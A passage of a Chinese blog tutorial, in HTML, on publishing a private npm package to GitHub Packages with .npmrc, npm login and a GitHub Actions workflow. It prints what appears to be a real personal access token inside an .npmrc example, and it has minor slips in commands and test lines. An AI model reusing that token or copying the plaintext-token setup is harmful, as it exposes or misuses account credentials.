id="1-&#x51C6;&#x5907;&#x4E00;&#x4E2A;&#x79C1;&#x6709;&#x4ED3;&#x5E93;">1. &#x51C6;&#x5907;&#x4E00;&#x4E2A;&#x79C1;&#x6709;&#x4ED3;&#x5E93;</h2><p>&#x5728; GitHub &#x4E0A;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x79C1;&#x6709;&#x4ED3;&#x5E93;&#xFF0C;&#x540D;&#x79F0;&#x5047;&#x8BBE;&#x662F; <code>npm-repo</code>&#xFF0C;&#x8BB0;&#x4F4F;&#x8FD9;&#x4E2A;&#x540D;&#x5B57;&#x4EE5;&#x53CA;&#x8FD9;&#x4E2A;&#x4ED3;&#x5E93;&#x7684; URL &#x5730;&#x5740;&#xFF0C;&#x540E;&#x9762;&#x4F1A;&#x7528;&#x5230;&#xFF0C;&#x7136;&#x540E;&#x4EC0;&#x4E48;&#x90FD;&#x4E0D;&#x8981;&#x7BA1;&#x3002; <s>&#x7136;&#x540E; clone &#x5230;&#x672C;&#x5730;&#x3002;&#x56E0;&#x4E3A;&#x6211;&#x662F;&#x5148;&#x6709;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x5C06;&#x521A;&#x5EFA;&#x7684;&#x4ED3;&#x5E93;&#x6DFB;&#x52A0;&#x4E3A;&#x6211;&#x672C;&#x5730;&#x7684; remote &#x4ED3;&#x5E93;&#x5C31;&#x884C;&#x3002;</s>&#x8FD9;&#x4E2A;&#x4ED3;&#x5E93;&#x53EA;&#x662F;&#x5173;&#x8054; npm &#x5305;&#x7684;&#x5730;&#x65B9;&#xFF0C;&#x4E0D;&#x662F;&#x5B58;&#x653E;&#x5236;&#x4F5C;&#x7684; npm &#x5305;&#x7684;&#x6E90;&#x7801;&#x7684;&#x5730;&#x65B9;(&#x867D;&#x7136;&#x53EF;&#x4EE5;&#x8FD9;&#x4E48;&#x505A;)&#xFF0C;&#x6240;&#x4EE5;&#x4E0D;&#x9700;&#x8981; clone &#x5230;&#x672C;&#x5730;&#x3002;</p><h2 id="2-&#x51C6;&#x5907;&#x4E00;&#x4E2A;-PAT">2. &#x51C6;&#x5907;&#x4E00;&#x4E2A; PAT</h2><p>&#x5373; Personal access tokens&#xFF0C; &#x5728; GitHub &#x5F00;&#x53D1;&#x8005;&#x8BBE;&#x7F6E;&#x91CC;&#x9762;&#x3002;&#x5728;&#x7ED9; token &#x6388;&#x6743;&#x65F6;&#xFF0C;&#x52A0;&#x4E0A; packages &#x76F8;&#x5173;&#x7684;&#x6743;&#x9650;&#x5373;&#x53EF;&#xFF0C;&#x751F;&#x6210;&#x540E;&#x4FDD;&#x5B58;&#x597D;&#x8FD9;&#x4E2A; token&#xFF0C;&#x540E;&#x9762;&#x9700;&#x8981;&#x7528;&#x5230;&#x3002;</p><h2 id="3-&#x5728;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#x4E2D;&#x521D;&#x59CB;&#x5316;-npm-&#x5305;">3. &#x5728;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#x4E2D;&#x521D;&#x59CB;&#x5316; npm &#x5305;</h2><p>&#x5728;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#x4E2D;&#x6267;&#x884C; <code>npm init --scope=&lt;username&gt;</code> &#x8FD9;&#x91CC;&#x7684; username &#x5373;&#x81EA;&#x5DF1;&#x7684; GitHub &#x7528;&#x6237;&#x540D;&#xFF0C;&#x5982;&#x679C;&#x6709;&#x5927;&#x5199;&#xFF0C;&#x9700;&#x8981;&#x5C0F;&#x5199;&#x3002;&#x7136;&#x540E;&#x4F1A;&#x8FDB;&#x5165;&#x4EA4;&#x4E92;&#x754C;&#x9762;&#xFF0C;&#x9700;&#x8981;&#x586B;&#x5199; npm &#x5305;&#x7684;&#x4E00;&#x4E9B;&#x4FE1;&#x606F;&#xFF0C;&#x5982;&#xFF1A;</p><p>&#x9996;&#x5148;&#x662F;&#x9700;&#x8981;&#x786E;&#x8BA4; package name&#xFF0C;&#x683C;&#x5F0F;&#x5FC5;&#x987B;&#x662F; <code>@GitHub&#x7528;&#x6237;&#x540D;/npm&#x5305;&#x540D;</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ npm init --scope=cactusinhand</span><br><span class="line">This utility will walk you through creating a package.json file.</span><br><span class="line">It only covers the most common items, and tries to guess sensible defaults.</span><br><span class="line"></span><br><span class="line">See `npm <span class="built_in">help</span> init` <span class="keyword">for</span> definitive documentation on these fields</span><br><span class="line">and exactly what they <span class="keyword">do</span>.</span><br><span class="line"></span><br><span class="line">Use `npm install &lt;pkg&gt;` afterwards to install a package and</span><br><span class="line">save it as a dependency <span class="keyword">in</span> the package.json file.</span><br><span class="line"></span><br><span class="line">Press ^C at any time to quit.</span><br><span class="line">package name: (@cactusinhand/npm-repo)</span><br></pre></td></tr></table></figure><p>&#x4E4B;&#x540E;&#x662F;&#x5C06;&#x8981;&#x53D1;&#x5E03;&#x7684;&#x5305;&#x7684;&#x7248;&#x672C;&#x3001;&#x5305;&#x7684;&#x4F5C;&#x8005;&#x3001;&#x5305;&#x7684;&#x7B80;&#x5355;&#x63CF;&#x8FF0;&#x548C;&#x8BB8;&#x53EF;&#x8BC1;&#x7C7B;&#x578B;&#x7B49;&#x7B49;&#x4FE1;&#x606F;&#xFF0C;&#x4E0D;&#x8FC7;&#x76EE;&#x524D;&#x8FD9;&#x4E9B;&#x90FD;&#x4E0D;&#x91CD;&#x8981;&#x3002;</p><p>&#x8FD9;&#x91CC;&#x91CD;&#x8981;&#x7684;&#x662F; package name &#x8981;&#x6B63;&#x786E;&#xFF0C;&#x7136;&#x540E;&#x5C31;&#x662F;&#x5728;&#x63D0;&#x793A; <code>git repository</code> &#x65F6;&#x63D0;&#x4F9B;&#x521A;&#x624D;&#x521B;&#x5EFA;&#x7684;&#x4ED3;&#x5E93;&#x7684; URL &#xFF0C;&#x56E0;&#x4E3A;&#x8FD9;&#x4E2A;&#x662F;&#x6700;&#x7EC8;&#x8981;&#x5C06;&#x53D1;&#x5E03;&#x7684; npm &#x5305;&#x8FDB;&#x884C;&#x5173;&#x8054;&#x7684;&#x3002;&#x8FD9;&#x4E2A;&#x4ED3;&#x5E93;&#x6700;&#x597D;&#x662F;&#x79C1;&#x6709;&#x7684;&#xFF0C;&#x7136;&#x540E;&#x91CC;&#x9762;&#x5173;&#x8054;&#x5404;&#x79CD; npm &#x5305;&#xFF0C;&#x5B83;&#x4EEC;&#x53EF;&#x4EE5;&#x662F;&#x516C;&#x5F00;&#x7684;&#xFF0C;&#x4E5F;&#x53EF;&#x662F;&#x79C1;&#x6709;&#x7684;&#x3002;</p><h2 id="4-&#x544A;&#x8BC9;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#x670D;&#x52A1;-Registry-&#x5730;&#x5740;">4. &#x544A;&#x8BC9;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#x670D;&#x52A1; Registry &#x5730;&#x5740;</h2><p>&#x7531;&#x4E8E;&#x8981;&#x5C06;&#x672C;&#x5730;&#x7684;&#x5305;&#x53D1;&#x5E03;&#x5230; GitHub Packages &#x670D;&#x52A1;&#x5668;&#x4E0A;&#xFF0C;&#x4E8E;&#x662F;&#x9700;&#x8981;&#x786E;&#x5B9A;&#x8FDC;&#x7A0B;&#x670D;&#x52A1;&#x7684;&#x5730;&#x5740;&#x3002;</p><p>&#x6709;&#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#xFF1A;</p><ol><li class="lvl-3"><p>&#x65B9;&#x5F0F;&#x4E00;&#xFF0C;&#x521B;&#x5EFA; <code>npmrc</code> &#x6587;&#x4EF6;&#xFF0C; &#x5E76;&#x52A0;&#x5165;&#x4EE5;&#x4E0B;&#x5185;&#x5BB9;&#xFF1A;</p></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">registry=https://npm.pkg.github.com/cactusinhand</span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x91CC; registry &#x83B7;&#x5F97;&#x7684;&#x94FE;&#x63A5;&#x5176;&#x672B;&#x5C3E;&#x4E5F;&#x8FD8;&#x662F;&#x81EA;&#x5DF1;&#x7684; GitHub &#x7528;&#x6237;&#x540D;&#x3002;</p><ol start="2"><li class="lvl-3"><p>&#x65B9;&#x5F0F;&#x4E8C;&#xFF0C;&#x4FEE;&#x6539; <code>package.json</code> &#x914D;&#x7F6E;&#x6587;&#x4EF6;</p></li></ol><p>&#x5728;&#x9879;&#x76EE;&#x7684;&#x914D;&#x7F6E;&#x6587;&#x4EF6; package.json &#x4E2D;&#x63D2;&#x5165;&#x4EE5;&#x4E0B;&#x5185;&#x5BB9;&#xFF1A;</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;publishConfig&quot;</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">    <span class="attr">&quot;registry&quot;</span><span class="punctuation">:</span><span class="string">&quot;https://npm.pkg.github.com/&quot;</span></span><br><span class="line"><span class="punctuation">}</span><span class="punctuation">,</span></span><br></pre></td></tr></table></figure><p><strong>&#x63A8;&#x8350;&#x4F7F;&#x7528;&#x7B2C;&#x4E00;&#x79CD;&#x65B9;&#x5F0F;</strong>&#xFF08;&#x539F;&#x56E0;&#x540E;&#x9762;&#x4F1A;&#x63D0;&#x5230;)&#x3002;</p><h2 id="5-&#x53D1;&#x5E03;&#x5305;&#x65F6;&#x5982;&#x4F55;&#x6388;&#x6743;">5. &#x53D1;&#x5E03;&#x5305;&#x65F6;&#x5982;&#x4F55;&#x6388;&#x6743;</h2><p>&#x6839;&#x636E;&#x524D;&#x9762;&#x7684;&#x4E24;&#x79CD;&#x914D;&#x7F6E; registry &#x5730;&#x5740;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x6388;&#x6743;&#x76F8;&#x5E94;&#x5C31;&#x4E5F;&#x6709;&#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#x3002;</p><ol><li class="lvl-3"><p>&#x65B9;&#x5F0F;&#x4E00;&#xFF0C;&#x8FD8;&#x662F; <code>.npmrc</code> &#x6587;&#x4EF6;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x6587;&#x4EF6;&#x91CC;&#x9762;&#x6DFB;&#x52A0;&#x4EE5;&#x4E0B;&#x5185;&#x5BB9;&#xFF1A;</p></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">//npm.pkg.github.com/:_authToken=0fc31c688a4a75f9509444b4648ac8e5fbeb20c4</span><br></pre></td></tr></table></figure><blockquote><ul class="lvl-1"><li class="lvl-2"><p>&#x8FD9;&#x91CC;&#x6700;&#x524D;&#x9762;&#x7684; <code>//</code> &#x4E0D;&#x80FD;&#x5C11;</p></li><li class="lvl-2"><p>&#x540E;&#x9762;&#x7684; token &#x5C31;&#x662F;&#x521A;&#x624D;&#x521B;&#x5EFA;&#x7684; PAT &#x7801;</p></li></ul></blockquote><p>&#x4E8E;&#x662F;&#x73B0;&#x5728;&#x7684; <code>.npmrc</code> &#x6587;&#x4EF6;&#x662F;&#x8FD9;&#x6837;&#x7684;&#xFF1A;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">registry=https://npm.pkg.github.com/cactusinhand</span><br><span class="line">//npm.pkg.github.com/:_authToken=0fc31c688a4a75f9509444b4648ac8e5fbeb20c4</span><br></pre></td></tr></table></figure><ol start="2"><li class="lvl-3"><p>&#x65B9;&#x5F0F;&#x4E8C;&#xFF0C;npm login &#x6388;&#x6743;</p></li></ol><p>&#x5728;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#x6267;&#x884C; <code>npm login --registry=https://npm.pkg.github.com</code>, &#x7136;&#x540E;&#x8FDB;&#x5165;&#x4EA4;&#x6362;&#x754C;&#x9762;&#xFF0C;&#x63D0;&#x793A;&#x8F93;&#x5165; Username&#xFF0C;Password,<br>&#x5B83;&#x4EEC;&#x5206;&#x522B;&#x662F;&#x81EA;&#x5DF1;&#x7684; GitHub &#x7528;&#x6237;&#x540D;&#x548C;&#x521A;&#x624D;&#x751F;&#x6210;&#x7684; PAT &#x7801;&#x3002;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">npm login --registry=https://npm.pkg.github.com</span></span><br><span class="line">npm notice Log in on https://npm.pkg.github.com/</span><br><span class="line">Username: cactusinhand</span><br><span class="line">Password:</span><br><span class="line"></span><br><span class="line">Logged in on https://npm.pkg.github.com/.</span><br></pre></td></tr></table></figure><p>&#x6700;&#x540E;&#x51FA;&#x73B0; <code>**Logged in on https://npm.pkg.github.com/.**</code> &#x5C31;&#x662F;&#x6388;&#x6743;&#x6210;&#x529F;&#xFF0C;&#x767B;&#x5F55;&#x5230; GitHub &#x7684; npm &#x670D;&#x52A1;&#x4E0A;&#x4E86;&#x3002;</p><h2 id="6-&#x53D1;&#x5E03;&#x5305;">6. &#x53D1;&#x5E03;&#x5305;</h2><p>&#x5305;&#x90FD;&#x51C6;&#x5907;&#x597D;&#x4E4B;&#x540E;&#x53EF;&#x4EE5;&#x5411; GitHub &#x53D1;&#x5E03;&#x4F60;&#x7684;&#x5305;&#x4E86;&#x3002;&#x6267;&#x884C; <code>npm published</code>:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">npm publish</span></span><br><span class="line">npm notice</span><br><span class="line">npm notice &#x1F4E6;  @cactusinhand/npm-repo@1.0.0</span><br><span class="line">npm notice Tarball Contents</span><br><span class="line">npm notice 11B README.md</span><br><span class="line">npm notice 57B index.js</span><br><span class="line">npm notice 635B package.json</span><br><span class="line">npm notice 57B second-package/index.js</span><br><span class="line">npm notice 510B second-package/package.json</span><br><span class="line">npm notice 0B second-package/README</span><br><span class="line">npm notice Tarball Details</span><br><span class="line">npm notice name: @cactusinhand/npm-repo</span><br><span class="line">npm notice version: 1.0.0</span><br><span class="line">npm notice filename: cactusinhand-npm-repo-1.0.0.tgz</span><br><span class="line">npm notice package size: 601 B</span><br><span class="line">npm notice unpacked size: 1.3 kB</span><br><span class="line">npm notice shasum: 2ac09d846c3babc6553836f5744d6f1128831a50</span><br><span class="line">npm notice integrity: sha512-W1N/ud3KTMIXR[...]cRr7XvNB+rTAg==</span><br><span class="line">npm notice total files: 6</span><br><span class="line">npm notice</span><br><span class="line">npm notice Publishing to https://npm.pkg.github.com/ with tag latest and default access</span><br><span class="line">+ @cactusinhand/npm-repo@1.0.0</span><br></pre></td></tr></table></figure><p>&#x53D1;&#x5E03;&#x6210;&#x529F;&#xFF0C;&#x5305;&#x540D;&#x5C31;&#x662F;&#xFF1A;<code>@cactusinhand/npm-repo@1.0.0</code></p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240915233715.png" alt="image.png"></p><h2 id="7-&#x4F7F;&#x7528;&#x5305;">7. &#x4F7F;&#x7528;&#x5305;</h2><p>&#x540E;&#x9762;&#x5B89;&#x88C5;&#x8FD9;&#x4E2A;&#x5305;&#x7684;&#x65B9;&#x5F0F;&#x5C31;&#x662F;&#xFF1A;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install @cactusinhand/npm-repo@1.0.0</span><br></pre></td></tr></table></figure><p>&#x6216;&#x8005;&#x5728; package.json &#x91CC;&#x9762;&#x52A0;&#x4E0A;&#x4F9D;&#x8D56;&#xFF1A;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">@cactusinhand/npm-repo&quot;: &quot;1.0.0&quot;</span><br></pre></td></tr></table></figure><p>&#x76EE;&#x524D;&#x8FD9;&#x5305;&#x662F;&#x79C1;&#x6709;&#x7684;&#xFF0C;&#x8981;&#x5728;&#x5176;&#x5B83;&#x9879;&#x76EE;&#x91CC;&#x9762;&#x4F7F;&#x7528;&#x8FD9;&#x4E2A;&#x5305;&#xFF0C;&#x4E5F;&#x540C;&#x6837;&#x9700;&#x8981;&#x5B8C;&#x6210;&#x4E24;&#x4EF6;&#x4E8B;&#xFF0C;1) &#x544A;&#x77E5;&#x53D1;&#x5E03; npm &#x5305;&#x7684; registry &#x5730;&#x5740;&#xFF0C;2) &#x6388;&#x6743;&#x3002;</p><p>&#x5BF9;&#x4E8E; 1) &#x5982;&#x679C;&#x4E0D;&#x544A;&#x8BC9;&#x9879;&#x76EE;&#x8981;&#x5B89;&#x88C5;&#x7684;&#x5305;&#x7684; registry &#x5730;&#x5740;&#xFF0C;&#x90A3;&#x4E48;&#x5F88;&#x663E;&#x7136;&#xFF0C;&#x5728; <code>npm install</code> &#x65F6;&#xFF0C;&#x5B83;&#x9ED8;&#x8BA4;&#x53BB; <code>https://registry.npmjs.org</code> &#x8FD9;&#x4E2A;&#x5730;&#x65B9;&#x627E;&#x4E86;&#x3002;&#x800C;&#x6211;&#x4EEC;&#x7684;&#x5305;&#x662F;&#x5728; <code>https://npm.pkg.github.com/cactusinhand</code>&#x3002;&#x6240;&#x4EE5;&#x8FD9;&#x5C31;&#x662F;&#x914D;&#x7F6E; registry &#x7684;&#x610F;&#x4E49;&#x3002;</p><p>&#x914D;&#x7F6E;&#x65B9;&#x5F0F;&#x540C;&#x4E0A;&#x9762;&#x4E00;&#x6837;&#xFF0C;&#x8981;&#x4E48;&#x521B;&#x5EFA; <code>.npmrc</code> &#x6587;&#x4EF6;&#x5E76;&#x5728;&#x91CC;&#x9762;&#x6307;&#x5B9A; GitHub &#x4E0A;&#x7684; registry &#x5730;&#x5740;&#xFF0C;&#x8981;&#x4E48;&#x5C31;&#x662F;&#x5728; package.json &#x6587;&#x4EF6;&#x91CC;&#x9762;&#x6307;&#x5B9A;&#x8FD9;&#x4E2A;&#x5730;&#x5740;&#x3002;&#x56E0;&#x4E3A; package.json &#x662F;&#x6574;&#x4E2A;&#x9879;&#x76EE;&#x7684;&#x4F9D;&#x8D56;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#xFF0C;&#x6240;&#x4EE5;&#x6700;&#x597D;&#x4E0D;&#x4FEE;&#x6539;&#x8FD9;&#x4E2A;&#x6587;&#x4EF6;&#xFF0C;&#x8FD9;&#x5C31;&#x662F;&#x4E3A;&#x4EC0;&#x4E48;&#x63A8;&#x8350;&#x4F7F;&#x7528; <code>.npmrc</code> &#x6587;&#x4EF6;&#x7684;&#x539F;&#x56E0;&#x3002;</p><p>&#x5BF9;&#x4E8E; 2) &#x6388;&#x6743;&#xFF0C;&#x5176;&#x5B9E;&#x5230;&#x4E86;&#x8FD9;&#x91CC;&#x53EF;&#x4EE5;&#x6388;&#x6743;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x4E0D;&#x6388;&#x6743;&#x3002;&#x539F;&#x56E0;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x79C1;&#x6709;&#x5305;&#x624D;&#x9700;&#x8981;&#x6388;&#x6743;&#xFF0C;&#x5982;&#x679C;&#x5C06;&#x521A;&#x624D;&#x53D1;&#x5E03;&#x7684;&#x5305;&#x6539;&#x4E3A; public &#x5C31;&#x53EF;&#x4EE5;&#x5728;&#x4F7F;&#x7528;&#x65F6;&#x4E0D;&#x5FC5;&#x83B7;&#x53D6; token &#x8FDB;&#x884C;&#x6388;&#x6743;&#x3002;</p><p>&#x627E;&#x5230;&#x521A;&#x624D;&#x53D1;&#x5E03;&#x7684; npm &#x5305;&#xFF0C;&#x8FDB;&#x5165; <code>Package settings</code> &#x9875;&#x9762;&#xFF0C;&#x5728; <strong>Danger Zone</strong> &#x66F4;&#x6539;&#x5305;&#x7684;&#x53EF;&#x89C1;&#x6027;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240916001144.png" alt="image.png"></p><p>&#x8FD9;&#x6837;&#x516C;&#x5F00;&#x7684;&#x5305;&#x5C31;&#x53EF;&#x4EE5;&#x65E0;&#x6388;&#x6743;&#x4E0B;&#x8F7D;&#x5566;&#x3002;</p><h2 id="8-&#x4F7F;&#x7528;-GitHub-Actions-&#x81EA;&#x52A8;&#x53D1;&#x5E03;&#x5305;">8. &#x4F7F;&#x7528; GitHub Actions &#x81EA;&#x52A8;&#x53D1;&#x5E03;&#x5305;</h2><p>&#x5728; npm &#x5305;&#x7684;&#x6E90;&#x7801;&#x4ED3;&#x5E93;&#x4E2D;&#x521B;&#x5EFA; <code>.github/workflows</code>&#x76EE;&#x5F55;&#xFF0C;&#x5E76;&#x521B;&#x5EFA;&#x540D;&#x4E3A;  <code>release-package.yml</code>  &#x7684;&#x6587;&#x4EF6;&#xFF0C;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Node.js</span> <span class="string">Package</span></span><br><span class="line"></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line">  <span class="attr">release:</span></span><br><span class="line">    <span class="attr">types:</span> [<span class="string">created</span>]</span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line">  <span class="attr">build:</span></span><br><span class="line">    <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line">    <span class="attr">steps:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/checkout@v4</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/setup-node@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">node-version:</span> <span class="number">16</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">run:</span> <span class="string">npm</span> <span class="string">ci</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">run:</span> <span class="string">npm</span> <span class="string">test</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">publish-gpr:</span></span><br><span class="line">    <span class="attr">needs:</span> <span class="string">build</span></span><br><span class="line">    <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line">    <span class="attr">permissions:</span></span><br><span class="line">      <span class="attr">packages:</span> <span class="string">write</span></span><br><span class="line">      <span class="attr">contents:</span> <span class="string">read</span></span><br><span class="line">    <span class="attr">steps:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/checkout@v4</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/setup-node@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">node-version:</span> <span class="number">16</span></span><br><span class="line">          <span class="attr">registry-url:</span> <span class="string">https://npm.pkg.github.com/</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">run:</span> <span class="string">npm</span> <span class="string">ci</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">run:</span> <span class="string">npm</span> <span class="string">publish</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">          <span class="attr">NODE_AUTH_TOKEN:</span> <span class="string">${{secrets.GITHUB_TOKEN}}</span></span><br></pre></td></tr></table></figure><p>&#x521B;&#x5EFA; <code>.npmrc</code> &#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x6388;&#x6743;&#xFF0C;&#x5176;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">@GitHub&#x7528;&#x6237;&#x540D;:registry=https://npm.pkg.github.com</span><br></pre></td></tr></table></figure><p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x73B0;&#x5728;&#x8FD9;&#x4E2A; <code>.npmrc</code> &#x6587;&#x4EF6;&#x8DDF;&#x524D;&#x9762;&#x7684;&#x7A0D;&#x5FAE;&#x6709;&#x70B9;&#x4E0D;&#x4E00;&#x6837;&#x3002;&#x540C;&#x6837;&#x6216;&#x8005;&#x4E5F;&#x53EF;&#x4EE5;&#x4FEE;&#x6539;<code>package.json</code>  &#x6587;&#x4EF6;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&quot;publishConfig&quot;: {</span><br><span class="line">  &quot;@GitHub&#x7528;&#x6237;&#x540D;:registry&quot;: &quot;https://npm.pkg.github.com&quot;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x5C06;&#x4E0A;&#x8FF0;&#x4FEE;&#x6539;&#x63D0;&#x4EA4;&#x3001;&#x63A8;&#x9001;&#x5230; GitHub&#x3002;</p><p>&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x518D;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x65B0;&#x7684; <code>Release</code> &#x5C31;&#x4F1A;&#x89E6;&#x6CD5; Actions &#x8FDB;&#x884C;&#x81EA;&#x52A8;&#x53D1;&#x5E03;&#x5305;&#x7684;&#x6D41;&#x7A0B;&#x3002;</p><p>&#x6D41;&#x7A0B;&#x5931;&#x8D25;&#x53EF;&#x80FD;&#x539F;&#x56E0;&#x6709;&#xFF1A;</p><ol><li class="lvl-4"><p>&#x6CA1;&#x6709;&#x5C06; <code>package-lock.json</code>&#x6587;&#x4EF6;&#x52A0;&#x5165;&#x5230;&#x9879;&#x76EE;</p></li><li class="lvl-4"><p>npm run test &#x5931;&#x8D25;&#xFF0C;&#x56E0;&#x4E3A; <code>package.json</code> &#x6587;&#x4EF6;&#x91CC;&#x662F;&#x8FD9;&#x6837;&#x7684;&#xFF1A;<code>&quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 0&quot;</code></p></li><li class="lvl-4"><p>&#x5DF2;&#x7ECF;&#x5B58;&#x5728;&#x76F8;&#x540C;&#x7248;&#x672C;&#x53F7;&#x7684;&#x5305;&#xFF1A; <code>fail Cannot publish over existing version</code></p></li></ol><p>&#x4FEE;&#x590D;&#x65B9;&#x6CD5;&#x5C31;&#x662F;&#x522B;&#x5FD8;&#x4E86;&#x628A; <code>package-lock.json</code>&#x6587;&#x4EF6;&#x52A0;&#x5165;&#x5230;&#x9879;&#x76EE;&#xFF0C;&#x53D1;&#x5E03;&#x524D;&#x66F4;&#x65B0; <code>package.json</code> &#x6587;&#x4EF6;&#x91CC;&#x7684;&#x7248;&#x672C;&#x53F7;&#xFF0C;&#x5C06; <code>test</code> &#x7684;&#x8FD4;&#x56DE;&#x503C;&#x4FEE;&#x6539;&#x4E3A; 0&#xFF0C;&#x5373;<code>&quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 0&quot;</code>&#x3002;</p><p>&#x4EE5;&#x4E0A;&#x3002;</p>]]></content>
    
    
